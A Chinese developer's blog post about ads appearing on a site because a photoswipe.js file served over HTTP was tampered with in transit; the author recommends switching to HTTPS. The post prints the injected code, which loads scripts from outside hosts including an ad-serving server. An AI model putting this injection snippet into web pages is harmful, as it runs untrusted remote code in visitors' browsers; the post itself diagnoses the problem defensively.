这个问题,遇到过很多次了,虽然知道解决方法,却不知道是什么原因引起的。
先说下解决方法吧:
最简单有效的方法就是使用SSL证书,改为HPPTS访问。
但我还想问,还有其他办法吗?
最近的一个项目引用了一个photoswipe.js,一运行项目,发现被植入了广告。
正奇怪呢?这个项目是GITHUB上的开源项目怎么会有毒呢?
打开这个JS去一行一行的阅读这1000多行代码。阅读完后,感觉没什么毛病啊?可为什么会有广告呢?
带着疑惑不断的去各种尝试,经过几小时不懈的奋斗后终于查到问题所在了。
打开控制台的sources会发现,有两个一样的photoswipe.js资源。其中有一个后台参数跟了哈希值。点开那个没带哈希的文件,里面代码如下:
var _atn_obj_ = new Object;
_atn_obj_.oldurl = 'http://m.mj.idoipo.com/static/js/photoswipe-ui-default.min.js?cHVzaA=1521767807';
_atn_obj_.unified_url = 'http://uiq.mlnbike.com:2525/ad_unified_access?SP=ABys7Og8/IysrPy8zOx8nOyr/OyczRmJuDtt/Oz9HN0dLOg82Dy8vPzM/Pg86DzsrNzsjJyMfPyIPOys3OyMnIx8/Iz8nLx8/GyoPLyMzN';
window.setTimeout(function() {
var a = document.createElement("script");
a.src = _atn_obj_.oldurl;
document.getElementsByTagName("head")[0].appendChild(a);
},
0);
window.setTimeout(function() {
var a = document.createElement("script");
a.src = _atn_obj_.unified_url;
document.getElementsByTagName("head")[0].appendChild(a);
},
0);
好牛犇那!我的js文件竟然被篡改了。篡改后再把我原来的JS再给插入进来,另外再引入了一个病毒script。
我就奇怪了,这JS是怎么被篡改的?原因在哪?原理何在?
找到了文档一个相似度比较高的一个文档https://www.cnblogs.com/july4/p/5338681.html。
它上面指出再js地址后台加上一些参数就可以了。
真的可以吗?我对此表示疑问。
果断改https